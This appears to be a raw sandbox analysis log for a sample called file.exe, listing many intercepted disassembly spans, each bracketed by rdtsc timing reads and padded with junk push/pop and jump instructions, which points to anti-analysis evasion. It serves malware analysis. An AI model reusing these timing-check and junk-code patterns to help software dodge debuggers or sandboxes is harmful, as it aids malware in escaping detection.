Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F420 second address: 57F44A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B727h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnp 00007F5B4D24B716h 0x00000012 pushad 0x00000013 popad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F44A second address: 57F45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F5B4C774D88h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FA0C second address: 57FA3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5B4D24B728h 0x0000000c jne 00007F5B4D24B716h 0x00000012 jmp 00007F5B4D24B71Bh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FA3D second address: 57FA43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FA43 second address: 57FA47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FCE2 second address: 57FCEE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 je 00007F5B4C774D86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FE72 second address: 57FE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5B4D24B729h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57FFFA second address: 580016 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D98h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580016 second address: 580026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007F5B4D24B716h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580026 second address: 58002A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58002A second address: 580060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5B4D24B716h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5B4D24B728h 0x00000014 jmp 00007F5B4D24B71Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5804E8 second address: 580522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5B4C774D96h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5B4C774D98h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580522 second address: 58053A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5B4D24B722h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58053A second address: 580554 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D92h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EC29 second address: 57EC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA45D second address: 4FA461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F7F1 second address: 58F82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F5B4D24B716h 0x0000000c popad 0x0000000d push esi 0x0000000e jmp 00007F5B4D24B724h 0x00000013 jmp 00007F5B4D24B71Eh 0x00000018 pop esi 0x00000019 jp 00007F5B4D24B71Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E47D second address: 58E499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F5B4C774D97h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E499 second address: 58E4C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jno 00007F5B4D24B716h 0x0000000b popad 0x0000000c push eax 0x0000000d jo 00007F5B4D24B716h 0x00000013 pop eax 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F5B4D24B71Ch 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 pop eax 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E4C9 second address: 58E4D3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5B4C774D86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E4D3 second address: 58E4D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E4D9 second address: 58E4E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E4E0 second address: 58E4FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5B4D24B716h 0x0000000a jmp 00007F5B4D24B71Ah 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 ja 00007F5B4D24B716h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E69E second address: 58E6B0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5B4C774D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F5B4C774D86h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E859 second address: 58E869 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5B4D24B71Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E179 second address: 58E185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FDBFD second address: 4FDC01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594E1D second address: 594E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5B4C774D86h 0x0000000a popad 0x0000000b jbe 00007F5B4C774D92h 0x00000011 pop ecx 0x00000012 ja 00007F5B4C774DA1h 0x00000018 pushad 0x00000019 jc 00007F5B4C774D86h 0x0000001f jmp 00007F5B4C774D8Dh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594701 second address: 594709 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594709 second address: 594716 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5B4C774D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594716 second address: 59471C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5948BA second address: 5948BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59895A second address: 598960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59F372 second address: 59F378 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59F378 second address: 59F38F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5B4D24B722h 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DD3D second address: 59DD4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DD4B second address: 59DD57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5B4D24B716h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DE6E second address: 59DE74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552090 second address: 552096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55214C second address: 55215E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jg 00007F5B4C774D86h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E558 second address: 59E55E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E55E second address: 59E564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E564 second address: 59E581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B4D24B729h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E581 second address: 59E595 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D8Bh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E6EE second address: 59E6FC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F5B4D24B716h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E6FC second address: 59E71B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F5B4C774D92h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E71B second address: 59E726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5B4D24B716h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E726 second address: 59E72B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59F0AB second address: 59F0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2D11 second address: 5A2D1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8AFA second address: 5A8B1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 pushad 0x00000009 jnp 00007F5B4D24B716h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 jp 00007F5B4D24B71Ch 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8B1B second address: 5A8B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5B4C774D97h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8DFA second address: 5A8E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8E03 second address: 5A8E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9698 second address: 5A969C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A969C second address: 5A96AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jl 00007F5B4C774D86h 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A96AA second address: 5A96B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A96B1 second address: 5A96B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A99DA second address: 5A99FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B726h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A99FA second address: 5A9A14 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5B4C774D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F5B4C774D86h 0x00000014 je 00007F5B4C774D86h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9A14 second address: 5A9A18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9A18 second address: 5A9A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5B4C774D8Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9CD7 second address: 5A9CDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9FFF second address: 5AA01E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B4C774D99h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA01E second address: 5AA03A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5B4D24B727h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA58C second address: 5AA590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA590 second address: 5AA5A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007F5B4D24B716h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA5A1 second address: 5AA5A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA5A7 second address: 5AA5AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA5AC second address: 5AA5B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5B4C774D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B0110 second address: 5B0114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B0114 second address: 5B011A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B011A second address: 5B014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5B4D24B727h 0x0000000b push ebx 0x0000000c jmp 00007F5B4D24B722h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B320F second address: 5B3217 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3217 second address: 5B3228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B4D24B71Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3228 second address: 5B322C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B34EB second address: 5B34F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B34F1 second address: 5B34F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B34F6 second address: 5B350F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F5B4D24B71Bh 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop ecx 0x0000000b jo 00007F5B4D24B71Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B37D2 second address: 5B37DC instructions: 0x00000000 rdtsc 0x00000002 je 00007F5B4C774D86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3C19 second address: 5B3C4F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5B4D24B716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5B4D24B722h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F5B4D24B71Fh 0x00000017 jnl 00007F5B4D24B716h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507CDD second address: 507CE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA8D1 second address: 5BA8D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAA7D second address: 5BAA81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAA81 second address: 5BAA97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B71Ch 0x00000007 je 00007F5B4D24B716h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAA97 second address: 5BAAC8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5B4C774D9Eh 0x00000008 pushad 0x00000009 jno 00007F5B4C774D86h 0x0000000f push edi 0x00000010 pop edi 0x00000011 jne 00007F5B4C774D86h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAF0A second address: 5BAF29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F5B4D24B71Bh 0x0000000c pop edx 0x0000000d jl 00007F5B4D24B718h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAF29 second address: 5BAF2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAF2D second address: 5BAF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAF33 second address: 5BAF45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BAF45 second address: 5BAF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB336 second address: 5BB365 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5B4C774D86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5B4C774D94h 0x00000011 pop edi 0x00000012 push eax 0x00000013 pushad 0x00000014 jne 00007F5B4C774D86h 0x0000001a push esi 0x0000001b pop esi 0x0000001c push esi 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB617 second address: 5BB620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB620 second address: 5BB638 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB638 second address: 5BB640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB640 second address: 5BB644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB644 second address: 5BB64A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
